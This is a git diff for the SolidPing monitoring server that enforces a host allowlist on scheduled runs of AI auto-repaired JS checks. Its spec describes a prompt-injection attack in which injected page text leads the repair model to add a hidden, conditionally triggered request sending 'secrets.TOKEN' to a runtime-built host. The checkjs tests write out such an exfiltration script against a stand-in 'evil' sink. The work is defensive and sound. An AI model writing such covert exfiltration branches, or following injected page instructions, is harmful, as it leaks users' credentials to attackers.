cfg.NormalizeConfig(in) + r.NoError(err) + r.Equal(in, kept) + + for name, edit := range map[string]func(map[string]any){ + "script edited": func(m map[string]any) { m["script"] = `return { status: "down" };` }, + "env edited": func(m map[string]any) { m["env"] = map[string]any{"BASE_URL": "https://other.acme.test"} }, + } { + edited := map[string]any{"script": okScript, "env": env, "ai": in["ai"]} + edit(edited) + + out, err := cfg.NormalizeConfig(edited) + r.NoError(err, name) + r.Equal(map[string]any{"repair": "auto"}, out["ai"], name) + r.Contains(edited["ai"], "repair_grant", "%s: the input map is not mutated", name) + } + + // An empty grant still holds, and allows nothing. + empty := &jsconfig.JSConfig{Script: okScript, AI: &jsconfig.AIConfig{ + RepairHosts: []string{}, RepairGrant: jsconfig.RepairDigest(okScript, nil), + }} + emptyBlock, ok := empty.GetConfig()["ai"].(map[string]any) + r.True(ok) + r.Equal([]any{}, emptyBlock["repair_hosts"]) + + hosts, held = empty.RepairAllowlist() + r.True(held) + r.Empty(hosts) +} diff --git a/server/internal/checkers/checkjs/config/config.go b/server/internal/checkers/checkjs/config/config.go index c8ca775bb..7af73b257 100644 --- a/server/internal/checkers/checkjs/config/config.go +++ b/server/internal/checkers/checkjs/config/config.go @@ -189,6 +189,60 @@ func (c *JSConfig) GetConfig() map[string]any { return cfg } +// RepairAllowlist is the host allowlist a script `repair: auto` applied is +// held to (spec 2026-10-24-01), and whether this config carries one. A grant +// bound to another script or env does not hold. +func (c *JSConfig) RepairAllowlist() ([]string, bool) { + if c.AI == nil || c.AI.RepairGrant == "" || c.AI.RepairGrant != RepairDigest(c.Script, c.Env) { + return nil, false + } + + return c.AI.RepairHosts, true +} + +// NormalizeConfig drops a repair grant the stored script or env no longer +// matches: a human edit of an auto-repaired script clears its allowlist. +// Implements checkerdef.ConfigNormalizer. +func (c *JSConfig) NormalizeConfig(configMap map[string]any) (map[string]any, error) { + block, ok := configMap[fieldAI].(map[string]any) + if !ok { + return configMap, nil + } + + _, hasHosts := block[aiKeyRepairHosts] + _, hasGrant := block[aiKeyRepairGrant] + + if !hasHosts && !hasGrant { + return configMap, nil + } + + parsed := &JSConfig{} + if err := parsed.FromMap(configMap); err != nil { + // Validation reports it. + return configMap, nil //nolint:nilerr // the validator owns the error + } + + if _, held := parsed.RepairAllowlist(); held { + return configMap, nil + } + + out := make(map[string]any, len(configMap)) + for key, value := range configMap { + out[key] = value + } + + cleared := make(map[string]any, len(block)) + for key, value := range block { + if key != aiKeyRepairHosts && key != aiKeyRepairGrant { + cleared[key] = value + } + } + + out[fieldAI] = cleared + + return out, nil +} + // stringMapToAny widens a string map for the config map, which is JSON-shaped. func stringMapToAny(in map[string]string) map[string]any { out := make(map[string]any, len(in)) diff --git a/server/internal/checkers/checkjs/repair_allowlist_test.go b/server/internal/checkers/checkjs/repair_allowlist_test.go new file mode 100644 index 000000000..075a1b003 --- /dev/null +++ b/server/internal/checkers/checkjs/repair_allowlist_test.go @@ -0,0 +1,160 @@ +package checkjs + +import ( + "context" + "net/http" + "net/http/httptest" + "strings" + "sync" + "testing" + + "github.com/stretchr/testify/require" + + "github.com/fclairamb/solidping/server/internal/checkers/checkerdef" + checkconfig "github.com/fclairamb/solidping/server/internal/checkers/checkjs/config" +) + +const repairTestSecret = "s3cr3t-token-value" + +// secretSink records the Authorization headers it receives. +type secretSink struct { + srv *httptest.Server + port string + + mu sync.Mutex + seen []string +} + +func newSecretSink(t *testing.T) *secretSink { + t.Helper() + + s := &secretSink{} + s.srv = httptest.NewServer(http.HandlerFunc(func(_ http.ResponseWriter, req *http.Request) { + s.mu.Lock() + defer s.mu.Unlock() + + s.seen = append(s.seen, req.Header.Get("Authorization")) + })) + t.Cleanup(s.srv.Close) + s.port = portOf(t, s.srv.Listener.Addr().String()) + + return s +} + +func (s *secretSink) hits() int { + s.mu.Lock() + defer s.mu.Unlock() + + return len(s.seen) +} + +func (s *secretSink) sawSecret() bool { + s.mu.Lock() + defer s.mu.Unlock() + + return strings.Contains(strings.Join(s.seen, "\n"), repairTestSecret) +} + +// repairedConfig is a script `repair: auto` applied, granted hosts. +func repairedConfig(script string, hosts []string) *JSConfig { + env := map[string]string{"FIRE": "yes"} + + return &JSConfig{ + Script: script, + Env: env, + Secrets: map[string]string{"TOKEN": repairTestSecret}, + AI: &checkconfig.AIConfig{ + Repair: checkconfig.RepairAuto, RepairHosts: hosts, + RepairGrant: checkconfig.RepairDigest(script, env), + }, + } +} + +// acmeScript calls the granted host (127.0.0.1, standing for acme.test) and, +// when env.FIRE is set, a second host with the secret. +func acmeScript(acmePort, evilTarget string) string { + return `var auth = { headers: { Authorization: "Bearer " + secrets.TOKEN } }; +var r = http.get("http://127.0.0.1:` + acmePort + `/", auth); +if (env.FIRE === "yes") { http.get(` + evilTarget + ` + "/", auth); } +return { status: r.error ? "down" : "up", output: { e: r.error } };` +} + +// A scheduled run of an auto-applied version is held to its grant: the +// branch to another host (localhost, standing for evilco.test) fails the run +// with the refusal, and that host receives nothing. +func TestRepairGrantHoldsAScheduledRun(t *testing.T) { + t.Parallel() + + cases := []struct { + name, target, named string + }{ + {"literal host", `"http://localhost:PORT"`, "localhost"}, + {"host built at runtime", `"http://" + ["local", "host"].join("") + ":PORT"`, withheldHost}, + } + + for _, tc := range cases { + t.Run(tc.name, func(t *testing.T) { + t.Parallel() + + r := require.New(t) + acme, evil := newSecretSink(t), newSecretSink(t) + cfg := repairedConfig(acmeScript(acme.port, strings.ReplaceAll(tc.target, "PORT", evil.port)), + []string{"127.0.0.1"}) + + result, err := (&JSChecker{}).Execute(context.Background(), cfg) + r.NoError(err) + r.Equal(checkerdef.StatusError, result.Status, result.Output) + r.Equal(true, result.Output[OutputKeyRepairRefused]) + r.Contains(result.Output["error"], "a host its AI repair was not granted: "+tc.named) + r.Zero(evil.hits(), "the refused host received nothing") + r.True(acme.sawSecret(), "positive control: the granted host was reached") + }) + } +} + +// Positive control: a version calling only its granted host, through a URL +// built at runtime too, keeps running and the host gets the secret. +func TestRepairGrantLetsTheGrantedHostThrough(t *testing.T) { + t.Parallel() + + r := require.New(t) + acme := newSecretSink(t) + cfg := repairedConfig(acmeScript(acme.port, `"http://127.0." + "0.1:`+acme.port+`"`), []string{"127.0.0.1"}) + + result, err := (&JSChecker{}).Execute(context.Background(), cfg) + r.NoError(err) + r.Equal(checkerdef.StatusUp, result.Status, result.Output) + r.NotContains(result.Output, OutputKeyRepairRefused) + r.Equal(2, acme.hits()) + r.True(acme.sawSecret()) +} + +// A grant does not hold a script it was not issued for (a human edit), nor a +// run without secret values. +func TestRepairGrantOnlyHoldsItsScriptWithSecrets(t *testing.T) { + t.Parallel() + + for _, name := range []string{"edited script", "no secrets"} { + t.Run(name, func(t *testing.T) { + t.Parallel() + + r := require.New(t) + acme, evil := newSecretSink(t), newSecretSink(t) + cfg := repairedConfig(acmeScript(acme.port, `"http://localhost:`+evil.port+`"`), []string{"127.0.0.1"}) + + if name == "edited script" { + cfg.Script += "\n// edited by alice" + } else { + cfg.Secrets = map[string]string{"TOKEN": ""} + } + + _, held := cfg.RepairAllowlist() + r.Equal(name == "no secrets", held) + + result, err := (&JSChecker{}).Execute(context.Background(), cfg) + r.NoError(err) + r.Equal(checkerdef.StatusUp, result.Status, result.Output) + r.Equal(1, evil.hits(), "the new host is reachable") + }) + } +} diff --git a/server/internal/checkers/schemas/js.json b/server/internal/checkers/schemas/js.json index b81ca41b3..3d1649529 100644 --- a/server/internal/checkers/schemas/js.json +++ b/server/internal/checkers/schemas/js.json @@ -22,6 +22,15 @@ }, "repair": { "type": "string" + }, + "repair_hosts": { + "items": { + "type": "string" + }, + "type": "array" + }, + "repair_grant": { + "type": "string" } }, "type": "object" diff --git a/server/internal/db/models/event.go b/server/internal/db/models/event.go index 4effead9b..da6c11435 100644 --- a/server/internal/db/models/event.go +++ b/server/internal/db/models/event.go @@ -36,6 +36,10 @@ const ( // EventTypeCheckAIRepairApplied records a `repair: auto` candidate applied // as a new check version. The payload carries the diff. EventTypeCheckAIRepairApplied EventType = "check.ai_repair_applied" + // EventTypeCheckAIRepairRevoked records a check flipped back from + // `repair: auto` to `repair: propose` because a run of its repair-applied + // script reached a host outside its repair grant (spec 2026-10-24-01). + EventTypeCheckAIRepairRevoked EventType = "check.ai_repair_revoked" // EventTypeAIUsage records the tokens of one LLM call (spec // 2026-10-03-07). The org's daily AI token budget sums these rows. EventTypeAIUsage EventType = "check.ai_usage" diff --git a/server/internal/handlers/incidents/ai_repair.go b/server/internal/handlers/incidents/ai_repair.go index 520ee826a..031c938c5 100644 --- a/server/internal/handlers/incidents/ai_repair.go +++ b/server/internal/handlers/incidents/ai_repair.go @@ -27,12 +27,25 @@ var unrepairedChecks sync.Map //nolint:gochecknoglobals // process-wide log dedu // here, on the hot result path; the job checks the rest (consecutive // failures, target health, rate limits). Best-effort. func (s *Service) queueAIRepair(ctx context.Context, check *models.Check, result *models.Result) { - if s.jobsSvc == nil || result.Status == nil || + if result.Status == nil || check.Type != string(checkerdef.CheckTypeJS) || !aichecks.WantsRepair(check.Config) { return } - if aichecks.ClassifyFailure(models.ResultStatus(*result.Status), result.Output) != aichecks.FailureDrift { + // A repair-applied script reached a host outside its repair grant: the + // version does something its own repair loop never showed. No repair is + // queued, and the next one needs a human (spec 2026-10-24-01). + if aichecks.RepairHostRefused(result.Output) { + refusal, _ := result.Output["error"].(string) + if _, err := aichecks.RevokeAutoRepair(ctx, s.db, check.OrganizationUID, check.UID, refusal); err != nil { + slog.WarnContext(ctx, "Failed to revoke the auto repair", "error", err, "check_uid", check.UID) + } + + return + } + + if s.jobsSvc == nil || + aichecks.ClassifyFailure(models.ResultStatus(*result.Status), result.Output) != aichecks.FailureDrift { return } diff --git a/server/internal/handlers/incidents/ai_repair_test.go b/server/internal/handlers/incidents/ai_repair_test.go index 32841b1ad..8d38c5316 100644 --- a/server/internal/handlers/incidents/ai_repair_test.go +++ b/server/internal/handlers/incidents/ai_repair_test.go @@ -6,6 +6,7 @@ import ( "github.com/stretchr/testify/require" "github.com/fclairamb/solidping/server/internal/aichecks" + "github.com/fclairamb/solidping/server/internal/checkers/checkjs" "github.com/fclairamb/solidping/server/internal/db/models" "github.com/fclairamb/solidping/server/internal/db/sqlite" "github.com/fclairamb/solidping/server/internal/handlers/incidents" @@ -79,3 +80,68 @@ func TestDriftQueuesOneAIRepairJob(t *testing.T) { submit(aiCheck, models.ResultStatusError, models.JSONMap{"error": "script error: TypeError"}) r.Equal(1, repairJobs()) } + +// TestRepairHostRefusalRevokesAutoRepair: a run of a repair-applied script +// refused by its repair grant queues no repair, flips the check back to +// `repair: propose` and records one check.ai_repair_revoked event (spec +// 2026-10-24-01). +func TestRepairHostRefusalRevokesAutoRepair(t *testing.T) { + t.Parallel() + + r := require.New(t) + ctx := t.Context() + + aichecks.SetEnabled(true) + + dbSvc, err := sqlite.New(ctx, sqlite.Config{InMemory: true}) + r.NoError(err) + r.NoError(dbSvc.Initialize(ctx)) + t.Cleanup(func() { _ = dbSvc.Close() }) + + jobs := jobsvc.NewService(dbSvc.DB(), dbSvc, notifier.NewLocalEventNotifier(), nil) + svc := incidents.NewService(dbSvc, jobs, clock.Real{}, nil) + + org := models.NewOrganization("ai-revoke-test", "AI Revoke Test") + r.NoError(dbSvc.CreateOrganization(ctx, org)) + + check := models.NewCheck(org.UID, "ai-auto", "js") + check.Config = models.JSONMap{ + "script": `return {status:"up"};`, + "ai": map[string]any{"prompt": "p", "contract": []any{"a"}, "repair": "auto"}, + } + r.NoError(dbSvc.CreateCheck(ctx, check)) + + refused := models.JSONMap{ + "error": "the script reached a host its AI repair was not granted: [a host built at runtime]", + checkjs.OutputKeyRepairRefused: true, + } + + revocations := func() int { + checkUID := check.UID + events, listErr := dbSvc.ListEvents(ctx, &models.ListEventsFilter{ + OrganizationUID: org.UID, CheckUID: &checkUID, + EventTypes: []models.EventType{models.EventTypeCheckAIRepairRevoked}, + }) + r.NoError(listErr) + + return len(events) + } + + for range 2 { + result := models.NewResult(org.UID, check.UID, models.ResultStatusError, 0) + result.Output = refused + r.NoError(dbSvc.CreateResult(ctx, result)) + r.NoError(svc.ProcessCheckResult(ctx, check, result)) + } + + stored, err := dbSvc.GetCheck(ctx, org.UID, check.UID) + r.NoError(err) + block, ok := stored.Config["ai"].(map[string]any) + r.True(ok) + r.Equal("propose", block["repair"]) + r.Equal(1, revocations(), "one flip, one event") + + list, err := jobs.ListJobs(ctx, org.UID, jobsvc.ListJobsOptions{Type: string(jobdef.JobTypeAIRepair)}) + r.NoError(err) + r.Empty(list, "a refusal queues no repair") +} diff --git a/server/internal/handlers/incidents/service.go b/server/internal/handlers/incidents/service.go index bd8f95edc..53896abed 100644 --- a/server/internal/handlers/incidents/service.go +++ b/server/internal/handlers/incidents/service.go @@ -1936,7 +1936,7 @@ func (s *Service) queueLifecycleNotifications( // check's timeline, never paged. An applied auto-repair notifies its // owner by email from the repair itself. models.EventTypeCheckAIRepairAttempted, models.EventTypeCheckAIRepairProposed, - models.EventTypeCheckAIRepairApplied, models.EventTypeAIUsage, + models.EventTypeCheckAIRepairApplied, models.EventTypeCheckAIRepairRevoked, models.EventTypeAIUsage, // A health incident's failing components changing (spec // 2026-10-03-05) is a timeline update on an incident that already // paged: recorded, never paged again. diff --git a/server/internal/handlers/system/service.go b/server/internal/handlers/system/service.go index 659b4e8ee..1fd5a7efb 100644 --- a/server/internal/handlers/system/service.go +++ b/server/internal/handlers/system/service.go @@ -208,7 +208,7 @@ func applyActivationEvent(row *ActivationFunnelRow, event *models.Event) { models.EventTypeCheckDeleted, models.EventTypeCheckPlacementChanged, models.EventTypeCheckBaselineCaptured, models.EventTypeCheckAIRepairAttempted, models.EventTypeCheckAIRepairProposed, - models.EventTypeCheckAIRepairApplied, models.EventTypeAIUsage, + models.EventTypeCheckAIRepairApplied, models.EventTypeCheckAIRepairRevoked, models.EventTypeAIUsage, models.EventTypeIncidentCreated, models.EventTypeIncidentResolved, models.EventTypeIncidentEscalated, models.EventTypeIncidentReopened, models.EventTypeIncidentReminder, diff --git a/server/pkg/cli/mcp_test.go b/server/pkg/cli/mcp_test.go index 024157cf0..39d48c2da 100644 --- a/server/pkg/cli/mcp_test.go +++ b/server/pkg/cli/mcp_test.go @@ -510,9 +510,21 @@ func TestMCPBridgeLocalErrors(t *testing.T) { t.Parallel() r := require.New(t) - down := httptest.NewServer(http.NotFoundHandler()) + // A closed server frees its port, and a parallel test's server can take it + // over and answer this bridge. Keep the port held and drop every connection. + down := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, _ *http.Request) { + hijacker, ok := w.(http.Hijacker) + if !ok { + return + } + + if conn, _, err := hijacker.Hijack(); err == nil { + _ = conn.Close() + } + })) + t.Cleanup(down.Close) + endpoint := down.URL + mcpAPIPath - down.Close() h := startBridge(t, &mcpBridge{endpoint: endpoint, token: "pat_x"}) diff --git a/specs/done/2026/10/2026-10-22-01-ai-script-secret-host-guard-runtime.md b/specs/done/2026/10/2026-10-22-01-ai-script-secret-host-guard-runtime.md index 3ab08e1b8..a1cafb1a8 100644 --- a/specs/done/2026/10/2026-10-22-01-ai-script-secret-host-guard-runtime.md +++ b/specs/done/2026/10/2026-10-22-01-ai-script-secret-host-guard-runtime.md @@ -49,6 +49,7 @@ Out of scope: the earlier rejection (2026-10-16) of "a member with write access 3. Treat a run where the allowlist refuses a host like `CheckHosts` failing today. The candidate is refused, and the refusal is in the attempt event. 4. Apply the same runtime allowlist to the verification run in `storeCandidate` (`repair.go:425-433`). 5. Decide what the scheduled runs of an auto-applied repair do. Recommended: keep the allowlist only for AI-loop runs, and refuse `repair: auto` for a candidate whose static host set is empty while the previous script's was not. + - Superseded by spec `2026-10-24-01` (finding R1): that rule only caught a candidate showing no host at all. Now every run with real secrets of a version `repair: auto` applied is held to the hosts of the version before it (`ai.repair_hosts`, bound by `ai.repair_grant`), a refusal sets the check back to `repair: propose`, and `repair: auto` proposes any candidate with a network call whose host its text does not show (`hiddenHost`). ## Tests diff --git a/specs/done/2026/10/2026-10-24-01-ai-repair-auto-apply-partial-runtime-host.md b/specs/done/2026/10/2026-10-24-01-ai-repair-auto-apply-partial-runtime-host.md new file mode 100644 index 000000000..ab19732a7 --- /dev/null +++ b/specs/done/2026/10/2026-10-24-01-ai-repair-auto-apply-partial-runtime-host.md @@ -0,0 +1,72 @@ +--- +model: opus +effort: high +--- + +# `repair: auto` applies a candidate that keeps a readable host and adds one built at runtime + +## Problem + +Found by the security scan of 2026-10-24 (finding R1). + +Severity: medium. +- **Who can trigger it:** the same as P1 (spec `specs/done/2026/10/2026-10-22-01-ai-script-secret-host-guard-runtime.md`). A third party who controls content the repair loop reads, with no SolidPing account: a third-party page in a multi-step check, or user content on the monitored site. +- **What the target org needs:** an AI-authored JS check that holds secrets and has `ai.repair: auto`. The model has to follow the injected instructions. +- **Unlike P1/Q1, the secret leaks on every scheduled run**, not once inside the loop. It does not need the model to see a secret value (Q1): the candidate script reads `secrets.` itself. + +The runtime host allowlist from P1 (`egress.WithHostAllowlist`) is used only inside the AI runner (`aichecks/runner.go:99`). A scheduled run of the check has the egress guard only, which blocks private addresses and lets any public host through. P1 step 5 knew this and kept `repair: auto` from applying a candidate whose connections are built at runtime. The implementation catches only one shape of that: + +- `hostsHidden` (`aichecks/guards.go:348-350`) is true only when the candidate's text shows **no** host at all while the previous version's did. +- `storeCandidate` (`aichecks/repair.go:451-458`) proposes instead of applying only in that case. Its comment says the rule is about "a candidate whose hosts the text no longer shows (built at runtime)". +- `CheckCandidate` (`guards.go:260-274`) and `CheckHosts` (`guards.go:208-218`) read literal hosts only (`ScriptHosts`, `guards.go:40-81`). A host assembled from parts, decoded from base64 or taken from a computed key is invisible to them. Those comments say so too. +- The verification run (`repair.go:434`) is held to `repairHosts`, but it only refuses connections the run actually makes. + +So a candidate that does both of these passes every gate and is applied by `applyRepair` (`repair.go:460-467`, `:618-640`): +1. it keeps the previous version's literal host, so `hostsHidden` is false; +2. it adds a request to a host built at runtime that carries `secrets.`, behind a condition that does not hold during the loop or the verification run (a date, a counter, a random draw). + +**Scenario:** +1. The attacker makes the check fail with a drift-class error, so `ai_repair` is queued (`handlers/incidents/ai_repair.go`). +2. The injected page text tells the model to write such a candidate. +3. The loop run and the verification run pass: the extra branch never runs, so the allowlist refuses nothing. +4. `repair: auto` applies the candidate (within the 24 h cooldown). Once the condition holds, scheduled runs send the secret to the attacker's public host. Nothing records a refusal. + +`propose` mode (the default) stores the same candidate as a proposal. A human who approves it without spotting the extra branch gets the same result. That is the review trust model, not this finding. The generation flow is the same case: the user saves the returned script themselves. + +## Proposal + +The goal: a version written by `repair: auto` can never reach, on schedule, a host the version before it could not. + +1. **Recommended: enforce the allowlist on scheduled runs of an auto-applied version.** + - When `applyRepair` writes a version, record its allowed hosts (`repairHosts(previous, env)`) with the version, e.g. in the check's `ai` block (`checkers/checkjs/config/ai.go`) or the version row. + - When a JS check whose current version came from `CheckVersionOriginAIRepair` runs with real secrets, hold it to those hosts through `egress.WithHostAllowlist`, the same seam `Runner.run` uses (`aichecks/runner.go:96-100`). + - A refusal fails the run with a clear error, not silently. + - A human edit of the script (any non-AI origin) clears the stored allowlist. + - **To verify:** where checkjs runs scheduled jobs and whether it can read the version origin and the stored hosts. +2. **Make the static gate fail closed as well,** so the case is also caught before applying. In `storeCandidate`, refuse auto-apply (fall back to a proposal) whenever the candidate can reach a host its text does not show. A cheap rule: refuse when the candidate has more network call sites (`http.*`, `fetch`, `websocket`, socket `connect`) than the previous version, or a call site whose URL or host argument is not a string literal or an `env` read. Rename `hostsHidden` to match. +3. Fix the comment at `repair.go:451-453` and the P1 spec's step 5 so they describe the rule that actually applies. +4. Docs: `web/docs/docs/features/ai-authored-checks.md` says what `repair: auto` can and cannot apply. + +Step 2 alone stays a heuristic over script text, which is the trap P1 already fell into. Step 1 is the boundary. + +## Tests + +- `aichecks/service_test.go` regression, next to `TestRepairAutoAppliesAVerifiedCandidate` (`:448`): + - The previous script contacts `acme.test`. The candidate keeps that literal and adds a branch to a host assembled at runtime, guarded by a condition the test controls. + - With `repair: auto`, assert the candidate is **not** applied: the outcome is a proposal, and the reason names the hidden host. + - This test fails on current `main`. +- Scheduled-run test for step 1, in the checkjs package: + - An auto-applied version with stored hosts `[acme.test]` runs with real secrets, and the branch to an `evilco.test` test server fires. + - Assert the run fails with the host-refusal error and the `evilco.test` server receives nothing. +- Positive controls: + - A candidate that only changes a selector or an assertion on the same literal host is still auto-applied (existing test stays green). + - An auto-applied version that calls only `acme.test`, including through a URL built at runtime to that same host, keeps running and the test server gets the secret. + - After a human edit of the script, the stored allowlist is gone and a newly added literal host is reachable. + +## Open questions + +- Should a scheduled run that hits the stored allowlist also flip the check back to `repair: propose`, so the next repair needs a human? Recommended: yes, and emit an event, since a refusal on a scheduled run means the applied version is doing something its own loop never showed. + +## Resolved open questions + +- A scheduled run that hits the stored allowlist flips the check back to `repair: propose` and emits an event. (autopilot: recommended answer) diff --git a/web/dash0/src/components/dashboard/event-display.test.ts b/web/dash0/src/components/dashboard/event-display.test.ts index aee8e1b06..03cda2242 100644 --- a/web/dash0/src/components/dashboard/event-display.test.ts +++ b/web/dash0/src/components/dashboard/event-display.test.ts @@ -235,6 +235,7 @@ describe("EVENT_TYPE_REGISTRY pins the binding emoji per event type", () => { ["check.ai_repair_attempted", "🤖"], ["check.ai_repair_proposed", "📝"], ["check.ai_repair_applied", "🛠️"], + ["check.ai_repair_revoked", "🚫"], ["check.ai_usage", "🧮"], // Private-location agent connections (spec 2026-09-25-05). Recorded as // audit events only, never sent through a chat integration, so dash0 owns diff --git a/web/dash0/src/components/dashboard/event-display.tsx b/web/dash0/src/components/dashboard/event-display.tsx index 44b691aca..a8416c54f 100644 --- a/web/dash0/src/components/dashboard/event-display.tsx +++ b/web/dash0/src/components/dashboard/event-display.tsx @@ -122,6 +122,8 @@ export const EVENT_TYPE_REGISTRY: Record = { "check.ai_repair_attempted": { icon: Sparkles, tone: MARK_QUIET }, "check.ai_repair_proposed": { icon: Sparkles, tone: MARK_WARNING }, "check.ai_repair_applied": { icon: Wrench, tone: MARK_SUCCESS }, + "check.ai_repair_revoked": { icon: ShieldAlert, tone: MARK_WARNING }, "check.ai_usage": { icon: Cpu, tone: MARK_QUIET }, "agent.connected": { icon: Plug, tone: MARK_SUCCESS }, "agent.disconnected": { icon: Unplug, tone: MARK_WARNING }, diff --git a/web/dash0/src/lib/event-types.ts b/web/dash0/src/lib/event-types.ts index 9c075c982..7f1f447e7 100644 --- a/web/dash0/src/lib/event-types.ts +++ b/web/dash0/src/lib/event-types.ts @@ -42,6 +42,7 @@ export const ALL_EVENT_TYPES = [ "check.ai_repair_attempted", "check.ai_repair_proposed", "check.ai_repair_applied", + "check.ai_repair_revoked", "check.ai_usage", "incident.created", diff --git a/web/dash0/src/locales/de/events.json b/web/dash0/src/locales/de/events.json index 9bf0903f6..bd8ad5cd3 100644 --- a/web/dash0/src/locales/de/events.json +++ b/web/dash0/src/locales/de/events.json @@ -25,6 +25,7 @@ "check.ai_repair_attempted": "KI-Reparatur versucht", "check.ai_repair_proposed": "KI-Reparatur vorgeschlagen", "check.ai_repair_applied": "KI-Reparatur angewendet", + "check.ai_repair_revoked": "Automatische KI-Reparatur widerrufen", "check.ai_usage": "KI-Verbrauch", "incident.created": "Vorfall erstellt", "incident.opened": "Vorfall eröffnet", diff --git a/web/dash0/src/locales/en/events.json b/web/dash0/src/locales/en/events.json index 9122c21c5..91ac0c158 100644 --- a/web/dash0/src/locales/en/events.json +++ b/web/dash0/src/locales/en/events.json @@ -25,6 +25,7 @@ "check.ai_repair_attempted": "AI Repair Attempted", "check.ai_repair_proposed": "AI Repair Proposed", "check.ai_repair_applied": "AI Repair Applied", + "check.ai_repair_revoked": "AI Auto-Repair Revoked", "check.ai_usage": "AI Usage", "incident.created": "Incident Created", "incident.opened": "Incident Opened", diff --git a/web/dash0/src/locales/es/events.json b/web/dash0/src/locales/es/events.json index 510aeaf08..24d01e8d8 100644 --- a/web/dash0/src/locales/es/events.json +++ b/web/dash0/src/locales/es/events.json @@ -25,6 +25,7 @@ "check.ai_repair_attempted": "Reparación IA intentada", "check.ai_repair_proposed": "Reparación IA propuesta", "check.ai_repair_applied": "Reparación IA aplicada", + "check.ai_repair_revoked": "Reparación IA automática revocada", "check.ai_usage": "Consumo de IA", "incident.created": "Incidente creado", "incident.opened": "Incidente abierto", diff --git a/web/dash0/src/locales/fr/events.json b/web/dash0/src/locales/fr/events.json index 41e52b468..36c0cc742 100644 --- a/web/dash0/src/locales/fr/events.json +++ b/web/dash0/src/locales/fr/events.json @@ -25,6 +25,7 @@ "check.ai_repair_attempted": "Réparation IA tentée", "check.ai_repair_proposed": "Réparation IA proposée", "check.ai_repair_applied": "Réparation IA appliquée", + "check.ai_repair_revoked": "Réparation IA automatique révoquée", "check.ai_usage": "Consommation IA", "incident.created": "Incident créé", "incident.opened": "Incident ouvert", diff --git a/web/docs/docs/features/ai-authored-checks.md b/web/docs/docs/features/ai-authored-checks.md index a67042f7e..b1df2dff4 100644 --- a/web/docs/docs/features/ai-authored-checks.md +++ b/web/docs/docs/features/ai-authored-checks.md @@ -93,6 +93,7 @@ config: | `model` | The model that wrote the current script | | `generated_at` | When it was written | | `repair` | `off`, `propose` (default) or `auto` | +| `repair_hosts`, `repair_grant` | Written by `repair: auto` only: the hosts the applied version may reach (see below) | The script stays editable, exports with `sp export` and runs unchanged on cloud workers and private agents. Workers never see the provider or the key. @@ -135,12 +136,26 @@ one-line reason. A candidate failing a guard is dropped. With `repair: auto`, a candidate that passed every guard and its verification run is applied directly as a new version. The incident resolves on the next run, and the author of the replaced version gets an email with the diff. Undo it -with a normal version restore. A candidate failing a guard or the verification, -a candidate whose hosts no longer appear in its text, or a second repair within -24 h, falls back to a proposal. +with a normal version restore. These fall back to a proposal instead: + +- a candidate failing a guard or the verification; +- a candidate that can reach a host its text does not show: a network call + whose URL or host is not a string literal or an `env` read (a variable, a + string built from pieces, a template, `eval`, a sub-check), or more network + calls than the previous version; +- a second repair within 24 h. + +A version `repair: auto` applied can never reach, on schedule, a host the +version before it could not. It stores those hosts in its `ai` block +(`repair_hosts`, with `repair_grant` binding them to that script and env). Every +run holding real secrets is held to them, as the repair loop was. A connection +to any other host fails the run with an error, and the check goes back to +`repair: propose`, so the next repair needs a human. Editing the script or the +env drops the grant: a version you wrote is not held. Every attempt is on the check's timeline (`check.ai_repair_attempted`, -`check.ai_repair_proposed`, `check.ai_repair_applied`). +`check.ai_repair_proposed`, `check.ai_repair_applied`, and +`check.ai_repair_revoked` when a refused run sets the check back to `propose`). ## Bring your own agent